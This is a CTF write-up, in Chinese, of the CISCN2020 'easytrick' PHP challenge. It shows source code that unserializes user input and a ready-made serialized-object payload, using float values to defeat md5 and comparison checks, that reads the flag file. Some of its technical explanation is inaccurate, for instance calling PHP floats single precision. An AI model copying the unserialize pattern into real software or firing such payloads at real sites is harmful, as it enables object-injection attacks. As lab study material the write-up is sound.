CISCN2020-easytrick
2023-09-27 14:28:02 时间
0x01、Web
1.CISCN2020-easytrick
第一步:代码审计
<?php
class trick{ //类:trick
public $trick1; //公有属性:$trick1
public $trick2; //公有属性:$trick2
public function __destruct(){ //公有析构方法:当所在类的实例化对象销毁前,自动被调用
$this->trick1 = (string)$this->trick1; //把属性$trick1转化为字符型数据
if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){ //判断属性$trick1和$trick2的长度是否为大于5
die("你太长了"); //若大于,则退出程序,并且返回:“你太长了”
}
if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
echo file_get_contents("/flag"); //若同时满足以上的三个条件,则打印出根目录下的flag
}
}
}
highlight_file(__FILE__); //高亮显示当前页面源码
unserialize($_GET['trick']); //以GET形式读取trick参数传递的值,并且反序列化
第二步:整理思路
想要打印flag-->就需要满足两个if条件-->想要执行析构方法-->需要存在当前类的实例化对象,那么才会在该脚本结束时候,自动取销毁对象
第三步:想办法绕过第一个if条件
if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){ //判断属性$trick1和$trick2的长度是否为大于5
die("你太长了"); //若大于,则退出程序,并且返回:“你太长了”
}
很明显,想要绕过这个if条件,只要求两个属性的值长度小等于5即可。
第四步:想办法满足第二个if条件
if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
echo file_get_contents("./flag.php"); //若同时满足以上的三个条件,则打印出网站根目录下的flag.php页面源码
}
(1)这里我们把上面的三个条件拿出来:
$trick1 !== $trick2 //属性1不全等与属性2
$trick1 != $trick2 //属性1不等于属性2
md5($trick1) === md5($trick2) //属性1的md5值要全等于属性2的md5值
(2)想要同时满足以上的条件,我们要先熟悉一下php的比较运算:
$a == $b //弱等于,成立条件:值相同
$a === $b //强等于,成立条件:数据类型相同,值相同
$a != $b //不弱等于,成立条件:值不同
$a !== $b //不强等于,成立条件:数据类型不同,或者值不同
(3)通过上面的学习,我们会发现要满足以上的条件,就需要:
属性1和属性2的数据类型不同,或者值不同
属性1和属性2的值不同
属性1的md5值和属性2的md5值的数据类型和值都相同
//这里只要满足属性1和属性2的值不同,并且md5值数据类型和值都相同
(4)这里还会发现在if条件之前,还会有一个类型转换:
$this->trick1 = (string)$this->trick1; //把属性$trick1转化为字符型
(5)这里我们可以利用:单精度浮点数在小数点后15位的时候,如果进行函数运算就会发生衰减
$a = 0.1;
$b = 0.1000000000000001; //15位
var_dump($a!=$b);
var_dump($a!==$b);
var_dump(md5($a)===md5($b));
//boolean true
//boolean true
//boolean true
//很明显:都成立了,满足了值不同,但是md5后的类型和值都相同
第五步:编写代码,构造payload
$chen = new trick();
$chen->trick1 = 0.1;
$chen->trick2 = 0.100000000000001;
$chen = serialize($chen);
echo $chen."<br />";
//O:5:"trick":2:{s:6:"trick1";d:0.10000000000000001;s:6:"trick2";d:0.100000000000001;}
因此payload:
?trick=O:5:"trick":2:{s:6:"trick1";d:0.10000000000000001;s:6:"trick2";d:0.100000000000001;}
查看页面源码,发现flag:
$flag = "flag{this_is_test!!!}";
2.总结
1.php的比较运算:
$a == $b //弱等于,成立条件:数据类型自动转换只比较值,值相同
$a === $b //强等于,成立条件:数据类型和值都要相同
$a != $b //不弱等于,成立条件:数据类型自动转换只比较值,值不同
$a !== $b //不强等于,成立条件:数据类型不同,或者值不同
2.单精度浮点数,精确到小数点后15位的问题!!!
#1.总结:
//单精度,精确到小数点后15位的问题!!!
//在比较运算的时候,精确到15位,不衰减
//在函数运算的时候,精确到15位,衰减
#2.例子:
//比较运算,不衰减
#var_dump(0.1 != 0.100000000000001);
#var_dump(0.1 !== 0.100000000000001);
//函数运算,衰减
#var_dump(0.1);
#var_dump(0.100000000000001); //实际运算的是:var_dump(0.1)
#var_dump(md5(0.1));
#var_dump(md5(0.100000000000001)); //实际运算的是:var_dump(0.1)
3.思路
#思路:
//要想打印flag.php页面源码,就要满足两个if条件
//要想执行两个if判断,就要执行析构方法
//要想执行析构方法,就要创建当前类的对象,以便在对象销毁前,自动调用该方法
#因此:
//我们要传入当前类的对象,并且反序列化
//为了满足if条件,同时还要给属性赋值
#第一步:分析if条件1
//if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){ //判断属性的值是否大于5
// die("你太长了"); //若大于5,则退出
//}
//很明显:只要满足两个属性的值,在进行strlen()函数运算的时候,结果不大于5即可
#第二步:分析if条件2
//$this->trick1 = (string)$this->trick1; //把属性$trick1,转化为字符串数据类型
//if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){ //判断三个条件是否成立
// echo file_get_contents("./flag.php"); //若成立,则打印出当前目录下的flag.php页面源码
//}
//分析,三个比较运算:
//$this->trick1 !== $this->trick2 //属性1不全等于属性2,成立条件:数据类型不同,或者值不同
//md5($this->trick1) === md5($this->trick2) //属性1的md5值全等于属性2的md5值,成立条件:数据类型和值都要相同
//$this->trick1 != $this->trick2 //属性1不弱等于属性2,成立条件:数据类型自动转化相同,只需要值不同
//因此,属性1和属性2要满足以下条件:
//两个属性值必须不同,数据类型同不同无所谓
//两个属性的md5值必须全等,也就是数据类型的值都要相同
#php单精度浮点数,在精确到小数点15后的时候,只要一遇到函数运算,就会衰减
//$a = 0.1;
//$b = 0.100000000000001;
//var_dump($a != $b); //boolean true //因为值不同
//var_dump($a !== $b); //boolean true //因为值不同
//var_dump(strlen($a)<5); //boolean true //strlen(0.1)<=5,正常
//var_dump(strlen($b)<5); //boolean true //发生了衰减,strlen($b)实际执行的是strlen(0.1)
//var_dump(md5($a) === md5($b)); //boolean true //发生了衰减,md5($b)实际执行的是md5(0.1)
#注意:$this->trick1 = (string)$this->trick1; //把属性$trick1,转化为字符串数据类型
//$a = '0.1';
//$b = 0.100000000000001;
//#$a和$b直接进行比较运算的时候,值肯定不同,那么满足不弱等于和不强等于
//#$a和$b的长度比较
//echo strlen($a)."<br />"; //3 //因为strlen($a)==>strlen('0.1')==>误以为是计算0.1的长度
//echo strlen($b)."<br />"; //3 //strlen(0.1),直接运算0.1
//#接着比较md5
//var_dump(md5($a)); //string 'cb5ae17636e975f9bf71ddf5bc542075' (length=32) //md5('0.1')--》误以为运算0.1
//var_dump(md5($b)); //string 'cb5ae17636e975f9bf71ddf5bc542075' (length=32) //md5(0.1)--》直接运算0.1
#第三步:我们既然满足了if条件,这里就要开始实例化类的对象了
//$chen = new trick();
//$chen->trick1 = 0.1;
//$chen->trick2 = 0.100000000000001;
//$chen = serialize($chen);
//echo $chen."<br />";
//查看页面源码,发现我们打印的payload:
//O:5:"trick":2:{s:6:"trick1";d:0.10000000000000001;s:6:"trick2";d:0.100000000000001;}
#传入payload:
//?trick=O:5:"trick":2:{s:6:"trick1";d:0.10000000000000001;s:6:"trick2";d:0.100000000000001;}
//查看页面源码,发现flag:$flag = "flag{this_is_test!!!}";
#观察payload:我们会发现0.1被序列化成了0.1000000000000001
//因此:精确到15位和到16为位,都会在函数运算的时候衰减到0.1
//0.1 = 0.1000000000000001
//0.1 = 0.100000000000001